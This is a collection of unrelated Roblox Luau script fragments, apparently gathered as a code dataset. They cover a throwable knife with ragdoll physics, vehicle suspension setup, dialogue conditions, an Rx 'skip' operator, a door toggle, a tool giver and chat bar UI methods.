local ray1 = Ray.new(knifeclone.Position, knifeclone.CFrame.upVector*((-0.25)+(-gravitypower)))
local hitt, pos = workspace:FindPartOnRayWithIgnoreList(ray, ignorelist)
local hitt1, pos1 = workspace:FindPartOnRayWithIgnoreList(ray1, ignorelist)
if hitt then
--if hitt.Name ~= "ThrowKnife" then
rayhit = true
knifeclone.CFrame = CFrame.new(pos)
if lastpos ~= nil then
knifeclone.CFrame = CFrame.new(knifeclone.Position, lastpos.p)
else
knifeclone.CFrame = CFrame.new(knifeclone.Position, lasttorsopos.p)
end
knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,math.pi)
local weldknife = Instance.new("Weld", knifeclone)
weldknife.C0 = hitt.CFrame:toObjectSpace(knifeclone.CFrame)
weldknife.Part0 = hitt
weldknife.Name = "ouch_weld"
weldknife.Part1 = knifeclone
knifeclone.Anchored = false
local hithumanoid = false
coroutine.wrap(function()
knifeclone.Parent = hitt
wait()
hitsound.Parent = knifeclone
hitsound.PlaybackSpeed = 3.2+(math.random(-1,4)/10)
hitsound:Play()
wait(hitsound.TimeLength)
hitsound.Parent = handle
end)()
if hitt.Parent:findFirstChildOfClass("Humanoid") then
hithumanoid = true
coroutine.wrap(function()
wait()
stabsound.Parent = knifeclone
stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10)
stabsound:Play()
wait(stabsound.TimeLength)
stabsound.Parent = handle
end)()
hitt.Parent:findFirstChildOfClass("Humanoid").Health = hitt.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100)
ragdollplr(hitt.Parent)
elseif hitt.Parent.ClassName == "Accessory" or hitt.Parent.ClassName == "Hat" then
if hitt.Parent.Parent:findFirstChildOfClass("Humanoid") then
hithumanoid = true
coroutine.wrap(function()
wait()
stabsound.Parent = knifeclone
stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10)
stabsound:Play()
wait(stabsound.TimeLength)
stabsound.Parent = handle
end)()
hitt.Parent.Parent:findFirstChildOfClass("Humanoid").Health = hitt.Parent.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100)
ragdollplr(hitt.Parent.Parent)
end
end
if not hithumanoid then
game.Debris:AddItem(knifeclone, 30)
end
--end
elseif hitt1 then
--if hitt1.Name ~= "ThrowKnife" then
rayhit = true
knifeclone.CFrame = CFrame.new(pos1)
knifeclone.CFrame = CFrame.new(knifeclone.Position, lasttorsopos.p)
knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(math.pi/1.5,math.pi,0)
local weldknife = Instance.new("Weld", knifeclone)
weldknife.C0 = hitt1.CFrame:toObjectSpace(knifeclone.CFrame)
weldknife.Part0 = hitt1
weldknife.Name = "ouch_weld"
weldknife.Part1 = knifeclone
knifeclone.Anchored = false
local hithumanoid = false
coroutine.wrap(function()
knifeclone.Parent = hitt1
wait()
hitsound.Parent = knifeclone
hitsound.PlaybackSpeed = 3.2+(math.random(-1,4)/10)
hitsound:Play()
wait(hitsound.TimeLength)
hitsound.Parent = handle
end)()
if hitt1.Parent:findFirstChildOfClass("Humanoid") then
hithumanoid = true
coroutine.wrap(function()
wait()
stabsound.Parent = knifeclone
stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10)
stabsound:Play()
wait(stabsound.TimeLength)
stabsound.Parent = handle
end)()
hitt1.Parent:findFirstChildOfClass("Humanoid").Health = hitt1.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100)
ragdollplr(hitt1.Parent)
elseif hitt1.Parent.ClassName == "Accessory" or hitt1.Parent.ClassName == "Hat" then
if hitt1.Parent.Parent:findFirstChildOfClass("Humanoid") then
hithumanoid = true
coroutine.wrap(function()
wait()
stabsound.Parent = knifeclone
stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10)
stabsound:Play()
wait(stabsound.TimeLength)
stabsound.Parent = handle
end)()
hitt1.Parent.Parent:findFirstChildOfClass("Humanoid").Health = hitt1.Parent.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100)
ragdollplr(hitt1.Parent.Parent)
end
end
if not hithumanoid then
game.Debris:AddItem(knifeclone, 30)
end
--end
end
if not rayhit then
gravitypower = gravitypower + 0.015
knifeclone.CFrame = knifeclone.CFrame * CFrame.new(0,-gravitypower,-3)
lastpos = knifeclone.CFrame
knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(-math.rad(rotatevalue),0,0)
end
end
end)()
for i = 1,15 do
headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/3,0) * CFrame.new(0,0.5,0),0.2)
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2)
rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(-math.rad(10),math.pi/3,0), 0.2)
leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-40),0,0) * CFrame.new(0,-0.5,0), 0.2)
rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(10),0,0) * CFrame.new(0,-0.5,0), 0.2)
step:wait()
end
handle.Transparency = 0
throwpos = nil
cananimate = true
canattack = true
end
end
end)
tool.Equipped:connect(function()
equipped = true
owner = game:GetService("Players"):GetPlayerFromCharacter(tool.Parent)
character = owner.Character
cananimate = true
local sine = 0
equipsound:Play()
tool.Grip = CFrame.new(0,-0.85,0)
if character:findFirstChild("KnifeBack") then
character:findFirstChild("KnifeBack").Transparency = 1
end
local rightarm = Instance.new("Weld", character.Torso)
rightarm.Part0 = character.Torso
rightarm.Part1 = character["Right Arm"]
rightarm.C0 = CFrame.new(1.5,0,0)
rightarm.Name = "RightArmWeldknif"
local leftarm = Instance.new("Weld", character.Torso)
leftarm.Part0 = character.Torso
leftarm.Part1 = character["Left Arm"]
leftarm.C0 = CFrame.new(-1.5,0,0)
leftarm.Name = "LeftArmWeldknif"
local head = Instance.new("Weld", character.Torso)
head.Part0 = character.Torso
head.Part1 = character.Head
head.C0 = CFrame.new(0,1.5,0)
head.Name = "HeadWeldknif"
local humanoidrootpart = Instance.new("Weld", character.HumanoidRootPart)
humanoidrootpart.Part0 = character.HumanoidRootPart
humanoidrootpart.Part1 = character.Torso
humanoidrootpart.Name = "HumanoidRootPartWeldknif"
coroutine.wrap(function()
while step:wait() do
if cananimate then
sine = sine + 1
head.C0 = head.C0:lerp(CFrame.new(0,1.5,0),0.1)
if not spinning then
tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0),0.1)
end
humanoidrootpart.C0 = humanoidrootpart.C0:lerp(CFrame.new(),0.1)
leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.pi/2.7 + math.rad(1.5*math.sin(sine/40)),math.pi/-3 + math.rad(1.5*-math.cos(sine/80)),0) * CFrame.new(0,-0.5,0),0.1)
rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.pi/2.7 + math.rad(1.5*math.sin(sine/40)),math.pi/3 + math.rad(1.5*math.cos(sine/80)),0) * CFrame.new(0,-0.5,0),0.1)
end
end
end)()
end)
tool.Unequipped:connect(function()
equipped = false
cananimate = false
canthrow = false
unequipsound:Play()
if character.Torso:findFirstChild("LeftArmWeldknif") then
character.Torso:findFirstChild("LeftArmWeldknif"):destroy()
end
if character.Torso:findFirstChild("RightArmWeldknif") then
character.Torso:findFirstChild("RightArmWeldknif"):destroy()
end
if character.Torso:findFirstChild("HeadWeldknif") then
character.Torso:findFirstChild("HeadWeldknif"):destroy()
end
if character:findFirstChild("HumanoidRootPart") then
if character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif") then
character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif"):destroy()
end
end
if not character:findFirstChild("KnifeBack") then
local clone = handle:Clone()
clone:BreakJoints()
for i,v in pairs(clone:GetDescendants()) do
if v.ClassName ~= "SpecialMesh" and v.ClassName ~= "TouchTransmitter" then
v:destroy()
end
end
local weld = Instance.new("Weld", clone)
weld.Part0 = character.Torso
weld.Part1 = clone
weld.C0 = CFrame.new(1,-1,0)
weld.C0 = weld.C0 * CFrame.fromEulerAnglesXYZ(math.pi-(math.pi/3),0,0)
clone.Parent = character
clone.Name = "KnifeBack"
else
character:findFirstChild("KnifeBack").Transparency = 0
end
character.KnifeBack:findFirstChildOfClass("SpecialMesh").TextureId = handle:findFirstChildOfClass("SpecialMesh").TextureId
end)
function ragdollkill(character)
local victimshumanoid = character:findFirstChildOfClass("Humanoid")
local checkragd = character:findFirstChild("ragded")
if not checkragd then
local boolvalue = Instance.new("BoolValue", character)
boolvalue.Name = "ragded"
if not character:findFirstChild("UpperTorso") then
character.Archivable = true
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Sound" then
v:remove()
end
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Sound" then
w:remove()
end
end
end
local ragdoll = character:Clone()
for i,v in pairs(ragdoll:GetDescendants()) do
if v.ClassName == "Motor" or v.ClassName == "Motor6D" then
v:destroy()
end
end
ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then
local HeadAttachment = Instance.new("Attachment", ragdoll["Head"])
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
local connection = Instance.new('HingeConstraint', ragdoll["Head"])
connection.LimitsEnabled = true
connection.Attachment0 = ragdoll.Torso.NeckAttachment
connection.Attachment1 = HeadAttachment
connection.UpperAngle = 60
connection.LowerAngle = -60
elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then
local hedweld = Instance.new("Weld", ragdoll.Torso)
hedweld.Part0 = ragdoll.Torso
hedweld.Part1 = ragdoll.Head
hedweld.C0 = CFrame.new(0,1.5,0)
end
game.Debris:AddItem(ragdoll, 30)
local function aaaalol()
wait(0.2)
local function searchforvelocity(wot)
for i,v in pairs(wot:GetChildren()) do
searchforvelocity(v)
if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then
v:destroy()
end
end
end
searchforvelocity(ragdoll)
wait(0.5)
if ragdoll:findFirstChildOfClass("Humanoid") then
ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true
end
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll:findFirstChild("HumanoidRootPart"):destroy()
end
end
spawn(aaaalol)
elseif character:findFirstChild("UpperTorso") then
character.Archivable = true
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Sound" then
v:remove()
end
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Sound" then
w:remove()
end
end
end
local ragdoll = character:Clone()
ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false
for i,v in pairs(ragdoll:GetDescendants()) do
if v.ClassName == "Motor" or v.ClassName == "Motor6D" then
v:destroy()
end
end
ragdoll:BreakJoints()
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" or w.ClassName == "MeshPart" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
local Humanoid = ragdoll:findFirstChildOfClass("Humanoid")
Humanoid.PlatformStand = true
local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper)
local connection = Instance.new('BallSocketConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.TwistLimitsEnabled = true
connection.TwistLowerAngle = twistlower
connection.TwistUpperAngle = twistupper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper)
local connection = Instance.new('HingeConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.LimitsEnabled = true
connection.LowerAngle = lower
connection.UpperAngle = upper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head)
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
if ragdoll.UpperTorso:findFirstChild("NeckAttachment") then
makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50)
end
makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50)
makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20)
for i,v in pairs(Humanoid.Parent:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(Humanoid.Parent:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
for i,v in pairs(ragdoll:GetChildren()) do
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] and w.Name ~= "ouch_weld" then
w:destroy()
end
end
end
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll.HumanoidRootPart:destroy()
end
if ragdoll:findFirstChildOfClass("Humanoid") then
ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true
end
local function waitfordatmoment()
wait(0.2)
local function searchforvelocity(wot)
for i,v in pairs(wot:GetChildren()) do
searchforvelocity(v)
if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then
v:destroy()
end
end
end
searchforvelocity(ragdoll)
end
spawn(waitfordatmoment)
game.Debris:AddItem(ragdoll, 30)
end
end
end
|
--Model Creation--
|
local susp = Instance.new("Model")
susp.Name = "Suspension"
susp.Parent = script.Parent.Parent.Parent
local suspRL = Instance.new("Model")
suspRL.Name = "RL"
suspRL.Parent = susp
local suspRR = Instance.new("Model")
suspRR.Name = "RR"
suspRR.Parent = susp
local LWm = Instance.new("Model")
LWm.Name = "LW"
LWm.Parent = script.Parent.Parent.Parent
local RWm = Instance.new("Model")
RWm.Name = "RW"
RWm.Parent = script.Parent.Parent.Parent
local WheelGroup = Instance.new("Model")
WheelGroup.Name = "Wheels"
WheelGroup.Parent = script.Parent.Parent.Parent
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Stats.HasMana.Value
end
|
--[=[
Takes n entries and then completes the observation.
https://rxjs.dev/api/operators/take
@param toSkip number
@return (source: Observable<T>) -> Observable<T>
]=]
|
function Rx.skip(toSkip)
assert(type(toSkip) == "number", "Bad toSkip")
assert(toSkip > 0, "Bad toSkip")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local skipped = 0
local maid = Maid.new()
maid:GiveTask(source:Subscribe(function(...)
if skipped <= toSkip then
skipped = skipped + 1
return
end
sub:Fire(...)
end, sub:GetFailComplete()))
return maid
end)
end
end
|
--This script is used to update the driving system
--to the latest version in the workspace.
|
wait()
local sm = workspace.NITS.ServerManager:Clone()
sm.Parent = script.Parent
sm.Disabled = false
script:Destroy()
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.WoodenSword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- Bindable for when we want touch emergency controls
-- TODO: Click to move should probably have it's own gui touch controls
-- to manage this.
|
local BindableEvent_OnFailStateChanged = nil
local BindableEvent_EnableTouchJump = nil
if UIS.TouchEnabled then
BindableEvent_OnFailStateChanged = Instance.new('BindableEvent')
BindableEvent_OnFailStateChanged.Name = "OnClickToMoveFailStateChange"
BindableEvent_EnableTouchJump = Instance.new('BindableEvent')
BindableEvent_EnableTouchJump.Name = "EnableTouchJump"
local CameraScript = script.Parent
local PlayerScripts = CameraScript.Parent
BindableEvent_OnFailStateChanged.Parent = PlayerScripts
BindableEvent_EnableTouchJump.Parent = PlayerScripts
end
local function clamp(low, high, num)
return (num > high and high or num < low and low or num)
end
|
----------------------------------------------------##
|
script.Parent.ClickDetector.MouseClick:Connect(function()
if isopen == false then
isopen = true
script.Parent.DoorOpen:Play()
doormotor.Motor.DesiredAngle = -1.4
else
isopen = false
script.Parent.DoorClose:Play()
doormotor.Motor.DesiredAngle = 0
end
end)
|
--Then we require it and call setup() on it if no one else has already.
|
local WeaponsSystem = require(WeaponsSystemModule)
if not WeaponsSystem.doingSetup and not WeaponsSystem.didSetup then
WeaponsSystem.setup()
end
|
-- Hook up event listener
|
Cmdr.RemoteEvent.OnClientEvent:Connect(function(name, ...)
if Cmdr.Events[name] then
Cmdr.Events[name](...)
end
end)
require(script.DefaultEventHandlers)(Cmdr)
return Cmdr
|
-- Deprecated in favour of GetMessageModeTextButton
-- Retained for compatibility reasons.
|
function methods:GetMessageModeTextLabel()
return self:GetMessageModeTextButton()
end
function methods:IsFocused()
if self.UserHasChatOff then
return false
end
return self:GetTextBox():IsFocused()
end
function methods:GetVisible()
return self.GuiObject.Visible
end
function methods:CaptureFocus()
if not self.UserHasChatOff then
self:GetTextBox():CaptureFocus()
end
end
function methods:ReleaseFocus(didRelease)
self:GetTextBox():ReleaseFocus(didRelease)
end
function methods:ResetText()
self:GetTextBox().Text = ""
end
function methods:SetText(text)
self:GetTextBox().Text = text
end
function methods:GetEnabled()
return self.GuiObject.Visible
end
function methods:SetEnabled(enabled)
if self.UserHasChatOff then
-- The chat bar can not be removed if a user has chat turned off so that
-- the chat bar can display a message explaining that chat is turned off.
self.GuiObject.Visible = true
else
self.GuiObject.Visible = enabled
end
end
function methods:SetTextLabelText(text)
if not self.UserHasChatOff then
self.TextLabel.Text = text
end
end
function methods:SetTextBoxText(text)
self.TextBox.Text = text
end
function methods:GetTextBoxText()
return self.TextBox.Text
end
function methods:ResetSize()
self.TargetYSize = 0
self:TweenToTargetYSize()
end
local function measureSize(textObj)
return TextService:GetTextSize(
textObj.Text,
textObj.TextSize,
textObj.Font,
Vector2.new(textObj.AbsoluteSize.X, 10000)
)
end
function methods:CalculateSize()
if self.CalculatingSizeLock then
return
end
self.CalculatingSizeLock = true
local textSize = nil
local bounds = nil
if self:IsFocused() or self.TextBox.Text ~= "" then
textSize = self.TextBox.TextSize
bounds = measureSize(self.TextBox).Y
else
textSize = self.TextLabel.TextSize
bounds = measureSize(self.TextLabel).Y
end
local newTargetYSize = bounds - textSize
if (self.TargetYSize ~= newTargetYSize) then
self.TargetYSize = newTargetYSize
self:TweenToTargetYSize()
end
self.CalculatingSizeLock = false
end
function methods:TweenToTargetYSize()
local endSize = UDim2.new(1, 0, 1, self.TargetYSize)
local curSize = self.GuiObject.Size
local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = endSize
local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y
self.GuiObject.Size = curSize
local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY)
local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels)
local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end)
if (not success) then
self.GuiObject.Size = endSize
end
end
function methods:SetTextSize(textSize)
if not self:IsInCustomState() then
if self.TextBox then
self.TextBox.TextSize = textSize
end
if self.TextLabel then
self.TextLabel.TextSize = textSize
end
end
end
function methods:GetDefaultChannelNameColor()
if ChatSettings.DefaultChannelNameColor then
return ChatSettings.DefaultChannelNameColor
end
return Color3.fromRGB(35, 76, 142)
end
function methods:SetChannelTarget(targetChannel)
local messageModeTextButton = self.GuiObjects.MessageModeTextButton
local textBox = self.TextBox
local textLabel = self.TextLabel
self.TargetChannel = targetChannel
if not self:IsInCustomState() then
if targetChannel ~= ChatSettings.GeneralChannelName then
messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0)
messageModeTextButton.Text = string.format("[%s] ", targetChannel)
local channelNameColor = self:GetChannelNameColor(targetChannel)
if channelNameColor then
messageModeTextButton.TextColor3 = channelNameColor
else
messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor()
end
local xSize = messageModeTextButton.TextBounds.X
messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0)
textBox.Size = UDim2.new(1, -xSize, 1, 0)
textBox.Position = UDim2.new(0, xSize, 0, 0)
textLabel.Size = UDim2.new(1, -xSize, 1, 0)
textLabel.Position = UDim2.new(0, xSize, 0, 0)
else
messageModeTextButton.Text = ""
